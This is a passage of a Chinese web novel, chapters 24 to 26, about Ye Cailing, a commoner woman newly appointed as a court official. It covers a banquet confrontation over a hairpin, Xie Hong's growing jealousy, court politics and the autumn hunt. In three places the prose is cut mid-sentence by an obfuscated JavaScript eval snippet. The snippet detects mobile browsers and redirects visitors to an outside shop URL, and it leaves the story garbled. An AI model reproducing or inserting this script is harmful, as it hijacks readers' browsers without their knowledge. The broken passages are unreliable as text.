珠子她不甚会分辨，但这匣子前些日子却是在父亲那里见过。仔细想来，原是那日圣上赏给朝臣的南洋珍宝。 但父亲贵为二品朝臣，却仅有几颗罢了。这么一匣子珠子，想来只能是谢泓赏她的。 却也真是舍得。 温道盈在这边思虑，小沙弥面露难色，道：“贵人，已是过了开光的时辰，若再要等的话，外头不少信众怕是要问了。” 温道盈摇摇头，掷了那珠子到匣子里。 一扭身走到院外头了。 小沙弥取了托盘，忙绕路回去，只装作刚刚加持完的样子。小沙弥自然不敢对叶采苓说，故叶采苓并不知情，从托盘里取了匣子后，又想起一事。 “敢问师父，若想给家人祈福，可去哪里？” 小沙弥道：“去法明殿可以供奉香油灯祈福。若想更准确些，可以在灯下压上家人的生辰八字，不知道的话亦可以压上家人所在方位。” 叶采苓点头去了。 * 休沐日过后，不多时便是文琼宴。那日女官放榜所提供的文牒，便是参宴证明。 新科女官们首次露脸，就是在这一宴会上。 此番并未在宫里设宴，而是选择了京郊的一处别苑，苑内设置了长桌，花木扶疏，秀韵雅致。 叶采苓正立在庭中花木一侧，身边却听到一声熟稔的招呼。 是那日女官选拔识得的甲榜第十名，时秋心。 时秋心道：“你来啦？我那日就记得你极其稳重，果然甲榜有你一席。” 叶采苓笑道：“不敢当。” 正闲聊，却听得有一声通传。道诸位可以入席。 新科女官们入席后，又见长桌对面尚未坐人。 又一声通传。 “请长公主，请诸位女官。” 方见一行人自院外行来。为首的女子头戴鎏金冕冠，眉眼描画精致，有种不怒而威的贵气——再看她袖口的明黄绣纹，身份已是显而易见。 众人本已经入座，皆下意识站起迎接。 女子道。 “诸位请坐。” “文琼宴自我主理以来，便削减了许多繁文缛节。我只愿诸位，日后朝堂之上，得以广施才略，勤修德业。” “国之昌盛，系于尔等之肩。” 讲话却是爽利，言罢举起手中玉制酒樽，一饮而尽。 新科女官们哪怕有些是出身世家，见惯了各类贵胄，此刻也被长公主的气度所震慑。 几位资深些的女官温煦地立在长公主一旁，望着个个气度不凡。却都是笑得很亲和。 那日放榜的李女官也在其中，低声问询过长公主，回身笑道：“开宴吧。” 叶采苓便也静静地夹几筷子桌上的菜肴。 心道这入朝为官，却比她想象中的有意思的多。 24. 第 24 章 宴席撤下。 见日头已经西沉，长公主笑道：“日后诸位同榜出身，亦应当互相亲近些。我且在厅内歇息，诸位可畅言无忌，言己所思。” 叶采苓方放下筷子，起身环视四周。 厅内人不少，却似乎各有熟识之人。想来也是，当前的世道，能读书者多的是家学渊源。 寒门出身的虽然有，却是少见。 身后传来脚步声。 有女官道：“这位姐姐是面生的，可是京中人士？” 叶采苓摇头道：“我是云州出身。” “原是云州，”女官眼睛一亮：“云顶崖是否就在云州，你可曾去过？” 叶采苓笑道：“云顶崖的确是云州之崖，因为崖顶积雪常年不化，才得此名。实则是云山的一座峰。” 两人交换过名帖，女子一愣。 “你在甲榜，又姓叶么？我师长却是与我提过，言道你的策论写得极好，我师长总是批评我不了解民众。改日我请你来我府上清谈，想看看你当时写的策论。” 叶采苓道：“愧不敢受，此番有幸入选，还是仰仗天家恩德。” “姐姐莫不是南陵叶氏的旁系？”女官思忖了片刻，存了亲近之意，只道：“——南陵叶氏与我家是近亲，我少时还去过南陵的。” 叶采苓真诚道。 “我确是云州平民出身。” 心里不免有几分怅然，面前的人虽然并无恶意，但显然已经默认只有家学渊源之人才能考取功名。 但天地偌大，有多少平民此生是无法得见典籍的呢。 却忽地听到一声张扬的声音。 温道盈一身女官服制，“思竹，你怎的在此处？” 女子道：“温姐姐，这便是李女官与我提到的叶姐姐。说是策论极好，是云州人士呢。” 李女官同她讲过，大周女官统共遴选过三回，寒门女子是越来越少了。此番让她遇上一位，她觉得很是新奇。 温道盈走过来，上下打量了一番叶采苓，却忽地勾起唇角。 叶采苓又感觉到那种不怀好意的视线，心里不禁提起来。 果然，她下一句便问道： “叶姑娘明明与世家交往极深——怎么说自己平民出身呢？” 时秋心刚刚从人群里过来，此刻微微皱起眉头。 她与叶采苓明明没见多久，却很是投缘。 此刻听着话里意图不对，问道：“温姑娘，这与出身无甚干系吧？” 先前那个女子有几分疑惑。她本就年纪小，讲话直率，此刻又愣愣地望温道盈。 温道盈并未伸手，而是以眸光示意众人看叶采苓头上的步摇。那白银步摇上簪了一颗明珠，流光溢彩。下头缀着蜜合色琥珀碎粒连成的穗子，随着行走，穗子碰撞极为好看。 时秋心道：“温姐姐，你讲话却是越发捉摸不透了。这步摇是精细些，可也不过是寻常步摇。” 叶采苓微微偏头，只做不解状。 “温姑娘的意思是，平民便不配用这样的步摇？” 这便是朝堂不愿看见的，太后与长公主一力推行女官制度，至少意图是要广开言路，若是女官当庭表示看不上平民，却是犯了忌讳。 温道盈心道叶采苓看着温文的，讲话却是不留情面。她打眼见着身后长公主一行人前来，转了个身，刻意让叶采苓的步摇不被人遮挡。 只道：“我当然并无此意。只是步摇之上，这宝珠上面的流光，诸位此前可曾见过？” 众人凝神看去。 确实是一颗极其璀璨的珠子，表面折射彩光，圆润贵气。簪在叶采苓头上，却是衬得她容色更为雅致。 有几位已经在心里暗暗描摹这步摇并珠子的样式，想着自己回去也定一支。 温道盈：“这明明是圣上赏于内阁的宝珠——如今出现在她头上。天家之物可以作赏赐，却为何赏给所谓平民？” 叶采苓听了两句，终于明白她此刻着眼的点，却是觉得好笑。 她还以为温道盈沉稳了些，原来依旧是当年那副尖刻的性子。 先前搭话的那女子顿了一顿，目光却是也带着几分迟疑，移向叶采苓。 叶采苓只是眨眨眼，温柔一笑。 却是取了一支旁边花瓶里的干梅花枝挽起了一头鬓发。 取下簪子让众人细看。 珠子上确实一层流光，是霓彩之色，望着极其闪耀。 “温姐姐，你细看，这可是南洋珠？” * 那日夜晚，她领了大公子给的匣子。 匣子启开，果然流光溢彩。 此刻匣内的宝珠，手感温凉细腻，颜色微微泛着些瓷白光泽。 望这色泽，是不像南洋珠。看着不显山不露水，却是比那南洋珠还要贵气。 “这是——今日见到的南洋珠？” “并不是，这是南海砗磲，大公子让我给姑娘的。公子还道，是奖励姑娘今日选上女官的，让姑娘放心收下便是。” 竹明道。 叶采苓并未听过此物，但却也能猜出其中价值。见竹明离开，方压抑着心跳取出珠串仔细观看。 南海砗磲。 借着檐外月光，却见砗磲串子表面一层温润流光，像是明月的一角似的。 叶采苓反复看了几次，却是一时间不知道如何是好。 如此名贵，若做成珠串，戴在腕子上是可以的么？ 她仔细想来，终于想起自己在何处看到过此名字。这是礼佛的好物事，便拣了休沐日去寺内加持。 * 心思回转到今日文琼宴。 有位女官仔细凝望了那明珠许久，却是犹豫道：“我瞧着并不像。家父那日也领了赏，那南洋珠是紫色，这珠子美则美矣，却不像有紫气。” 叶采苓笑道：“这便是了。诸位请细看——” “这珠子有彩光，是因为这是东海蝶贝制的。是拿蝶贝壳子打磨光滑，嵌成的珠子。” 她心道，谁知道温道盈是如何知晓自己有大公子赏赐的。 只是大公子并未赏下南洋珠，她今日簪的也不是南洋珠，真是阴差阳错。 叶采苓望着温道盈，却做出不解神色：“温女官，你说我与世家有来往，怎的，是你觉得我有能力左右朝堂命臣的赏赐？ 温道盈却冷声道：“不管如何，你簪这些华贵珠子，也不能算平民出身。且不要扯着平民的大旗办事。” “也罢，”叶采苓叹了一口气，温声道：“其实这些珠宝的来历本不应在此处提，但温女官感兴趣，我便也说了。这珠子是我那茶楼常客送的。” 叶采苓：“谢大学士他旬月前去了东海，回来却是给相熟之人都带了些手信。我在京中开家茶楼，却也与大学士有几分交情。故得了此珠。” “怎的——温姑娘不是与谢学士自幼相识，却是没有收到么？” 她讲话很是坦然，反正这些步摇珠子之类的都是大公子送的没错，此次戴南海蝶贝，也是因为蝶贝泛着的光泽她很喜欢。 这问句却是恰巧诛到温道盈的心。 温道盈便不再说话，周围的女子一听是谢泓送的，却都凑上来看这步摇。 “竟然是谢学士送的么？我再仔细看看。” “怪不得未曾见过，是东海的东西呢。” 时秋心抚掌道：“等有空了我来描一下你这步摇的花样子，得空也寻人做一个。” 叶采苓微微偏头，发现温道盈早已不见踪影了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464263|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她笑着绾起头发，只道好。 * 欢宴结束，众人都各自散场。 今日有秋雨，路上以精工青砖铺地。此处别殿虽在京郊，却管理严格，宫人只护着长公主几人去了。 其余人都行至府门，等待自家车驾接应。 温道盈径直出去了，站到自家婢女伞下，却是并未走，而是带着些气望着叶采苓。 而叶采苓虽与谢泓关系匪浅，以她的身份，却自然并无单独车驾。 叶采苓望着外头的雨也是一怔。她自从选上女官，便也不再于谢府居住。谢泓将茶楼全权交付给她，她已经搬入茶楼许久。 时秋心笑道：“无妨，你与我一同走便是。” 两人正在谈笑，却听得爽利的马蹄声。时秋心笑盈盈地招手，道：“长兄，这边——” 白马在两人面前急停。青年人一勒缰绳，轻捷地翻身下马，道：“真是顺路，你可知晓今日武举的试场就在你们这别院附近，我一考评完就过来了。” 却见妹妹身边立着的女子。望着年纪并不大，眉眼在雨夜里却是极为好看。此刻府前琉璃宫灯照在她脸上，灯下看人，她容色更加殊丽，清绝无双。 他却忽地想起前些日子那神棍给他算的那卦——坎为水，命定之人来源于水上。若你看到她，会有心如鹿撞、怦然悸动之感。 不就是此刻。 时青卓突然清了清嗓子，却是没敢看叶采苓：“咳，秋心，这位姑娘是？新认识的友人么？” 他抖了抖斗篷上的雨水。 此时在府门口等着离开的贵女还有不少，却都望着这边。 有人低声道：“时小将军方回京，却是更加潇洒了。” “我是真觉得时秋心运气好，上次遴选刚巧够年龄，上试场演练了一番，这次却马上中了。听说在府内也不怎么学的，只喜欢看话本。” “是啊，还有时小将军这样潇洒的兄长。” 时青卓自然不知道贵女们在窃窃私语什么，却是只等着面前两人回应。 时秋心笑道：“这便是我今日新认识的友人，今年甲榜第七的叶姑娘。长兄你可知，叶姑娘便是那位行月茶楼的掌柜呢。” 面前的青年男子眼睛更亮，道：“啊，那行月茶楼我与家妹去过几次。早听过掌柜盛名在外，却没想到本人如此文秀。” 叶采苓笑道：“原以为是随便开着的，未能想到如此受人欢迎呢。” 白马在旁边不耐地抛着蹶子。 时青卓不理，只道：“这，这行月茶楼里橘豆红、三果普洱都是极不错的。我记得那云州白茶，像是搁了些果子柑子在里头，却是很清新。” 叶采苓一听便知道是懂行的，道：“时小将军对茶叶是颇有研究，我那茶确实是放些陈皮，这是云州本地的喝法。你们兄妹二人若不嫌弃，我便改日遣人送了到时府上去。” 时秋心笑道：“如此便是最好。” 见家兄未动，她微微抬手示意时青卓：“咳，兄长，外面风冷，要么我们今日先送叶掌柜回茶楼？” 时青卓忙道：“是了，叶姑娘，便随我一道——” 温道盈她在自家马车里冷眼看着这一幕，却是更加不爽。 本以为这叶采苓的马车来不了，一时无法离开，却没想到她转眼便与时家打上交道。 罢了，她偏头对车夫道：“我们便——” 话语却梗在喉咙之间。 一人从马车上下来，却是从容地撑着一把伞，露出流利漂亮的下颌。他低声道了两句什么，自有小厮在细密的雨丝里执灯过来，引着叶采苓往那边去。 叶采苓一愣神。 仿佛是谢泓。 他怎么来这里了？ 25. 第 25 章 有人道：“那是不是谢探花？不对，现在是谢大学士了，是他么？” 又有人执着帕子捂嘴笑道：“我见谢探花入了内阁，却是更有风姿了。” 贵女们望着伞下那人，叽叽喳喳地闲谈。 谢泓在伞下半垂着眉眼。 家仆战战兢兢地抬头望一眼他，又快速低下头去。 主子其实天生一张端方的好容色，平日里都是清正卓立的样子，但只要噙一丝笑，便让人觉得如沐春风。 此时公子他明明依旧有那一丝笑在唇边，却望着有几分隐忍。 又是何事令他不满？ 家仆并不能细想，只把脚步放沉稳了些。 谢泓心里暗想所幸今日来了。 武举试场通常不需要文官，但内阁总要出个人露面，今日他便去了。又想到叶采苓今日也在城郊，本打算顺势来看一眼。 却又看到时小将军站在那里，正是在与叶采苓搭话。 谢泓下意识地就觉得不喜，却是叫马车停了下来，只道：“且等着，我去寻人。” 他仿佛没有注意到檐下贵女们投来的目光。 只向叶采苓伸出手。 “走罢。” * 叶采苓一脸疑惑地回了府。 她搭上大公子的马车，固然方便，却未曾想大公子的表情一路上很是古怪。 就好像一直在欲言又止一般。 叶采苓：“大公子今日不顺心么？” 谢泓：“咳，也不算是。” 却是微微抿着唇，不肯再讲话。 送叶采苓回了行月茶楼，谢泓却是去寻江游。 江游尚未睡下，但见天色已晚，已是以为谢泓今日不会寻他了。 此刻见到好友，只以为谢泓要与他商议过几日的朝堂之事。便打了个哈欠道：“宣岑，我觉得履职尚无需如此勤奋，你见我，每日潇洒些，不也过的不错么？” 谢泓只皱眉道：“我这里有一事。” “时青卓——你见过么？” 江游一愣：“宣岑兄，你不入眠拉我起来是为此事？问我有没有见过一个男子？” 谢泓正色道：“今日我见时青卓却是特意来接叶采苓……与他家妹。我觉得不甚对劲。” “时青卓来接叶姑娘？” 江游道：“听你这说法，明明是来接他妹妹的吧？我好像听过她的名字，应是叫做时秋心的？” 谢泓沉吟道：“但我仍觉得，时青卓神色很是古怪。” 江游在心里反复揣摩了两遍，忽地拊掌道：“谢宣岑，我问你，你心里觉得咱们这位叶姑娘是个什么样的人？” “灵醒。”谢泓脱口而出：“她一路从云州跟到京城，成长颇快，做事果决。” 江游笑道：“我见你真是一心忙着那朝堂了——却是未发现，叶姑娘已经过了及笄之年？” 谢泓一抚袍袖，道：“这我当然是知道的……” 江游笑眯眯道：“这就对啦。时小将军尚未婚配，此番又见家妹与叶姑娘投契，多与叶姑娘问几句又无妨，倒是你，为何觉得古怪？” 谢泓又沉吟起来。 江游见这位老友一贯运筹帷幄的样子，此刻在月光下却是冥思苦想着，只笑道：“宣岑你考取功名实在是太早，我见你在朝堂之上已然很有些手腕。只是有些方面，你自己去想着。” 谢泓却是一愣。 他确实年幼便入翰林，脑子转得并不慢，江游说的话却是反应过来。 “你是说——” 江游弯着眼睛看他。 “我对叶姑娘——” 江游点头，正准备开口表示确定。 谢泓却猛然住口，只往厢房外面走。 “江兄你先歇息，我须得想清楚再谈此事。” * “这是徽州的茶么？” 时秋心捧着一杯茶，喝得很是满足。 叶采苓笑言道，是六安松萝。 此刻是上午，行月茶楼并没有太多的客人。两人已经来往多次，却是都觉得与对方很是投缘，时秋心也常常去寻她。叶采苓拿了软垫，两人坐在一处闲聊。 “……瑞鹤宴？”叶采苓问道。 “正是，是早年先帝传下来的。是个老故事，说先帝还是皇子的时候，有鹤鸟常常飞入他宫中。” “鹤鸟是祥瑞之兆，先帝天命所归。” 叶采苓点头，却笑道：“这便是所有朝代都会用的法子——天子必定天命所归，你可见过有例外？” 时秋心凝神想了片刻，道：“采苓，我见你之思，确是有些新颖角度。” “不过是见得多了些。”叶采苓道：“你若是多去经历些事情，也是能发现不同的。” 两人闲谈了一会，时秋心则是提议打双陆棋。 叶采苓遣人去取。正见到谢泓携人进来。 叶采苓温声道：“公子今日可有何需要？” 谢泓望着她，语气随意：“今日有同僚前来，我们一会要去后厅水榭，麻烦叶掌柜为我们安排了。” 时秋心睁大眼睛，觉得这两人之间配合却是很默契。 叶采苓对时秋心道先等片刻，过了一会安排妥当，便回来。 “有没有人讲过，你与温学士很般配？”时秋心抱着一杯清茶，只道：“从相貌到行为举止，都很般配。” “秋心你胡说什么？”叶采苓刚取了瓷壶回来，此刻眼里很是坦然。 “我与他云州相识的，他一路提携我，并不是你想的那样。” 时秋心翻着手里的话本。 “一路提携？更像我想的那样了。” 叶采苓笑着摇摇头，两人揭过此话题。 她之后送走时秋心，却是自己在灯前思虑。 她与谢泓么？ 若真有心动的时候——追溯起来却是在云州。但那时自己受谢泓庇护，心动却是显得格外理所当然。有那样一个光风霁月的人出现在自己的生命里，又身加种种光环，动心仿佛是顺理成章。 但她依旧能清楚地看见两者身份的鸿沟。当年最年轻的探花郎成了最年轻的大学士，依旧是前途一片坦荡光明。 罢了，终归不是一路人。她一路走到现在，谢泓是命定的引路人，现如今她敬他重他。 却明白无论如何……不会有结果。 茶楼后厅水榭。 阁内谢泓领进来的人一袭黑袍看了，摘了兜帽，却是江游的脸孔。 江游抱怨道：“怎的今日防范的如此严格。又都是熟人，茶楼一向是我们自己的地盘。” 谢泓不动声色：“那不是还有时家人么。” 江游摇头：“时家虽是世家，但处事却一向有分寸。罢了，我总觉得容氏那边才不对劲呢。”他想到什么，道：“我今日给你报信，却是从急。你可记得漠北大败一事？还有之前你遣小叶姑娘去江南查探布匹的事？” 谢泓眸光一闪，“自然是记得的。” “我现如今从商人朋友那里得了消息。容国舅不知用了什么法子，还是拿下了塞北秋季军需的供应。” “如今立秋早都过去了，方拿下供应么？” “塞北天凉的极早，再拖些日子，怕边界又动荡。”江游道，忽地又想起来一事。 “说到此处，你有没有听过立秋那几日，长公主欲给你寻亲的消息？” 谢泓长叹一声：“罢了，连你也知道了。” “谢兄此话却是不对，我虽转投江湖，消息还是很灵醒的。” 江游道：“怎么？还惦记着那一位？” 谢泓眸光却真的暗下来。 “当年我回云州，你可还记得？那时是我希望最大的时候。我以为我能寻到她，长公主也如此以为。” “却是杳无音讯。” 江游轻叹道：“只是你怕是连她如今的样子都不知道，怎么还是如此痴情。” “儿时所遇，对你影响果然如此之大么。” 谢泓的眸光却是越加复杂。“你并未经历那些事情，长公主却是知情的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464264|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是连她也劝我——” “这不是并未寻得么？”江游道：“我听说的版本是长公主为你寻了几位世家出身的女子，却都被婉拒了。” 谢泓道：“是啊，我特意说不愿娶妻。” 江游却道：“如此，但我见联姻却是一条巩固你朝堂地位的明路。不过你焉能不知。” 谢泓道：“只我不愿。” 又一日早朝。 谢泓依旧装扮一丝不苟，立在文渊阁外等着上朝后的会议。 却见几位执槐笏的女子路过。 宫内规矩严，几人都是依着品级打过招呼。谢泓望见叶采苓眉眼舒展的模样，心里却有几分快意。 就像看到自己培植的幼苗不断成长的模样。 只是这种情绪在进入朝堂的那一刻又逐渐烟消云散。首辅依旧笑得十分亲切，却依旧不动声色地否决每一个计划。 且内阁众人基本都依着首辅铁腕，却无一人敢明面上分庭抗礼。反对的声音阁外可以有，但内阁却是段长明一力主导的地界。 谢泓此前一直挫败，便是觉得内阁众人能坐到这位置之上，明明没一个心窍未开的。却在很多事上只一味顺着段长明。 他却忽然想起叶采苓那日的话语。 “谋定而后动。” 不知不觉她给出的建议却是越来越受到谢泓的倚重。 于是在段首辅再次给出一些心思昭然的提案的时候，谢泓依旧平心静气地给出反对意见。 他已经做好无人应和的准备，虽然在阁内他是孤军奋战，但朝堂之上，盟友依旧是有的。 谢大学士反对的多了，段首辅也觉得有些习惯。 内阁共七人，七人提出意见，有一人反对本就无妨，甚至刚好能反映出他并未进行一言堂的铁腕压制。 于是那日早朝，他又要通过一项采买提案的时候，本以为再次无波无澜，竟有一位大学士提出了异议。 那位大学士犹豫道：“元辅，我知晓朝内缺乏精兵良马……只是良马多出于北陆，近日北陆马匹又被劫掠。若是强行再征，只怕民心惶惶。” 谢泓心知此人与北陆节度使关系极近，此时提出反对也是人之常情。 段长明却是破天荒地大怒。 他只觉得对方忤逆了他的想法，更有些不能宣之于口的理由——内阁之前默契地追随于他，怎的今日突然有人反对。 那人提出意见后本就有些忐忑，此时被段长明劈头一顿训斥，却忽地镇定下来。只道：“此事我不赞成。” 谢泓冷静地看在眼里。 万事万物本就不是一成不变——若真触及到内阁其余人等的利益，几次下来他们还能忍，但长此以往，总会有反对的声音。 直到有一日，等着退休的张次辅却是来寻他了。 “谢学士。”张次辅道：“有些事情我并不方便说，只是很多时候我其实也知晓元辅大人有些脾气。” 张次辅一贯是和事佬，但每次和事往往也站在元辅的角度和事。那次因为内阁三人与四人形成对抗局面，却破天荒地来找谢泓。 谢泓与张次辅议事之后，却是沉吟。 他惊觉自己正是在日复一日的笃定中，逐渐积蓄了一些力量。 转头再遇叶采苓。 他笑道：“多谢叶女官。” 叶采苓却是一愣，眨眨眼睫笑道：“谢学士说笑。” 她明显能感觉到两人都有明显的成长，就像一棵树逐渐新生出枝叶，笼住更多的朝暮月明。 * 又过几日天气已然转凉。丝丝秋意逐渐沿着人脊背往上爬。 京城天空琉璃般净明，已经是秋天模样。 却是天气极其晴好，阳光软和温馨。 这样的日子里，叶采苓收到了长公主私宴的请帖。 她展开手里的帖子细看，确实是公主府的纹样，但也只写了邀请她前来，其余人士则是不知道。 是单独邀请女官么？ 直到到了公主府，她方才知晓。 26. 第 26 章 长公主今日一袭曳地碧霞双蝶锦衣，衣摆用金丝绣了疏疏梧桐。 她仪态一如既往端方，身上首饰却都从简，没有过于刻意的雕饰。只是行至众人前头，随和笑道：“今日之宴名‘乐游’，并无他意，只是恰逢秋日，又有许多新面孔入朝。” “我设下此宴，唯愿诸君尽兴而归。” 叶采苓听这意思，应是还邀请了不少同榜出身的熟人。果然她四处看了看，瞥见时秋心，便过去闲谈。 时秋心指指帖子，“我们兄妹都收到了，便都来赴宴。我家兄时青卓，早些时候已经来了。” “这乐游宴此前有过先例么？”叶采苓问。 一般这些宴会总有个由头，庆祝节令的宴会往往宫中都会举办，这些日子却并无节令，让人摸不着头脑。 她选上女官不多时，却是已经形成思维习惯，要在行事之前预想一下可能发生的结果。 时秋心轻掠一下发稍，她亦不知晓，只道：“我现在也只知，并没有单独宴请女官，长公主喜爱热闹，大抵是把与她关系近些的人都邀请来游玩了。” “游玩？”叶采苓一怔。 果然，厅外已陈设游艺之具，正合乐游之意。 叶采苓行到中间，却是对着棋盘沉思了一晌。 布置棋盘的人很是贴心，除了有空置的棋具之外，尚余几本棋书。 此时园内已经很是热闹，受邀的宾客们年纪却是都相仿，也不欲拂长公主的面子，三五成群地聚在一起游玩。 叶采苓望着那棋局，却是试图伸手拈了一颗子。 “叶女官有心与我下一局么？” 却听到长公主的声音。叶采苓忙起身行礼。 园内诸人都是隐隐以着长公主为先的，此刻却都默契地静了一霎，许多目光移向此处。 叶采苓温声道：“能与长公主对弈，却是我之幸。” 叶采苓执白棋，礼让长公主先行。自然有捧场的人过来旁观。 黑棋出手落星位，棋风稳重，面对变局亦很从容，一望便知棋力颇深。白棋走小飞挂角应对，进退却意料之外的自如灵巧。 两人的厮杀竟出人意料地激烈，最后黑棋行出大雪崩定式险胜。 一局棋下罢，长公主虽是险胜，却是还有些意犹未尽。 她却笑道：“落子观心，孤之前只听闻小叶是策论的好手，却未曾想棋艺亦不落下风。来，再下一局。” 第二局棋行至中盘，长公主却冷不丁地开口问，态度依旧是极随和的。 “小叶棋艺甚佳，可有师承？” 叶采苓心道许多世家自幼为子聘棋师，但她的棋都是与谢泓对弈练出来的。只是围棋师承只论棋师，她便微微摇头否认。 “那便是家乡弈棋之风盛行，耳濡目染了。你出身何处？” “回长公主，我出身云州，当地亦无对弈风气。” 长公主眼前一亮：“你是云州人士？” “我观云州风景秀丽，你儿时可有听闻过周边有一山洞，以奇崛险峻知名的？” 叶采苓凝神道：“并未，我家做些小买卖，少时只跟着家父出去贩些物件，并未外出游玩过。” 长公主颔首，掩去眸底一丝失望之色，仍笑道：“来，下棋罢。” 叶采苓并未察觉到，亦执了棋下了。 谢泓步进厅内的时候正看到这一幕。 长公主拉着叶采苓在说话，女子眼睫低垂只专注在棋局之上，一缕碎发从额前滑落，却是无暇顾及。 世家子都是对棋艺有些研究的，此刻见长公主只拉着叶采苓下棋，也都去点评。 谢泓心道叶采苓的棋艺正是他一手教出来的，他最清楚。心下却是莫名有些得意。 长公主那边仍有几分不甘心，还在问。 “小叶在云州，可否听过有南陵搬来的人家？” 叶采苓想到自己的街坊邻居，“我家街邻都是云州人士。或许有人是外地前来，但也只居住没多久便搬离了。不甚知晓。” 长公主本没有做过多期待，闻言也只道无妨。 叶采苓那边下完了棋，又转去一旁。 却是刚好并未看到谢泓。 时秋心正在几案一角坐着，身边却是他兄长时青卓。 见叶采苓过来，时秋心笑道：“来的却是正好，我兄长刚刚应了要作诗，现在连砚台都选得不明白，现下实在是有些发憷。” 却也难怪。时青卓武将出身，平日里哪有这些文墨方面的讲究。时秋心又是性子不拘束的，对这些却是也不甚了解。 叶采苓笑道：“如此，寻我便是有几分道理。” 时秋心忙着去看投壶，此刻为兄长寻到帮手，便心安理得去了。 叶采苓望一眼几案之上的砚台，道：“时公子有无平时对砚台的喜好？” 时青卓一愣。 道：“并无甚爱好。我们在外行军，不拘着什么砚台纸墨，只要有便取用。”时青卓挠挠头，这话有几分赦然。 “那便在这两块之间取舍即可。”叶采苓闻言却没有他预想中的轻看之意，而是眸光专注地指了两块。 “这块是端砚，发墨不伤笔毫，石质细腻些。这块是歙砚，浑朴而无火气，有天然石品纹理。” 时青卓点头称是，选了一块。又好奇道：“叶姑娘怎的对笔墨如此了解？我知晓你经营行月茶楼，身为商贾却如此通文墨，便是不寻常。” 叶采苓摇摇头，笑道：“左不过是爱好使然，时小将军此言听着，却是看轻商贾了。行商亦需要头脑，就像你们行军打仗，不也有兵法谋略么？” “我并无此意。”时青卓赶忙圆回去，又道：“说到兵法，你可知有一部兵书很是有趣……” 却是又硬找了话题在聊。 谢泓过来的时候，便看到如此一幕。 意气风发的少年将军在纸上画着兵书舆图，身边的女子眉目清婉，正凝神细思，不多时伸出手在舆图上一点，露出一截手腕。 皓腕如霜雪。 两人笑谈，看着却很是愉快。 谢泓呼吸微顿。 又听得时青卓发出邀请。 “过些日子你们都要去木樨围场看秋猎。那时候队伍里都能看到如何围猎的，实则这围猎之中蕴含着兵法之道。若你看到我，我与你说。” 叶采苓对兵法确实感兴趣。 闻言犹豫了片刻，道：“若那日我也去的话，可以试试。” 时青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464265|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卓意气风发：“好啊！” * 秋猎那日是个有云的好天气。 木樨围场在京北，浩浩荡荡的贵胄们的车马排成一线往京北行，也花了快一整天时日。 叶采苓现今已经有了品级，与女官们在一处。 谢泓的车马跟在内阁诸位学士之后，一路上竟然是并未看到叶采苓身影。 “谢学士今日乘轿却依然好学啊。” 有同僚见到他手里翻阅的书，行了几步向前看了看。 “喔，这不是兵法吗？怎的对这些感兴趣了。”同僚道：“莫不是玄铠军漠北大败，谢学士亦十分关心？” 谢泓轻轻合上书册。 沉吟了足够的时间，却只道了一句：“……正是。” 听着却有几分勉强。 叶采苓在轿上有几分兴致地撩开轿帘。 秋猎并不会遣所有朝臣前去，而是由着圣上的意图，选一部分人。听时秋心说，大多数文臣就算被择中，去到围场也只是在场边旁观居多。并不会亲身上阵。 这恰好中叶采苓的意。 一路上四周的树木从茂盛逐渐转稀疏，直到大片的草场出现在眼前。草场之上可以见到成群结队的牛羊，正在慢悠悠地咀嚼着牧草。 木樨围场因着位置离京城较近，自许久之前已经是皇家秋日围猎的固定场地。 众人到达之后自有人前来引路。 围场虽是狩猎的区域，却有足够的房屋让人入住。自然，皇帝并太子、长公主等人有行宫，寻常官员也有居住之所。 “此处是御医诊疗之所。今日随行的车架里，便有太医院派出的车马。”住所里接引的婢女也是宫里当值的老人了，对秋猎的情况很是熟悉。 叶采苓路过那间有着黑色中药柜子的厢房，点头称是。 不多时，鼻端嗅到药草燃烧的气息。 “明日秋猎，所用的箭矢需要在箭头上涂抹麻药，他们现在正在熬制。” “对了，还有这些猛兽，也需要定期在饮食里加上麻药水，防止暴起袭人。” 另一间厢房里，黑铁笼子里放着的猛兽让叶采苓吃了一惊。好大的一只棕熊，望着立起来竟比人高出不少。 此刻正在笼子一角恹恹地坐着。 叶采苓不用婢女开口，便猜到这棕熊并笼子里其他猛兽的用途。 围场虽然有草丘，整体都较为平缓。自有的猛兽大抵也是狼与豺之类的中小体型。 此时这些凶兽，必定都是为了给秋日围猎增添乐趣设下的。 次日诸位参加围猎的年轻男子出征前，她果然看到了这些猛兽的笼子。被用黑布蒙着移往草场前方。 一声令响，已见有几个人纵马飞驰出去了。尚在马上便搭弓射箭，直指黑熊头颅。 还有些人直接往草场深处去了，身后有专职捡拾猎物的小厮跟着，一见有动物中箭倒地，便上前去验明中箭位置，捡回去一同处置。 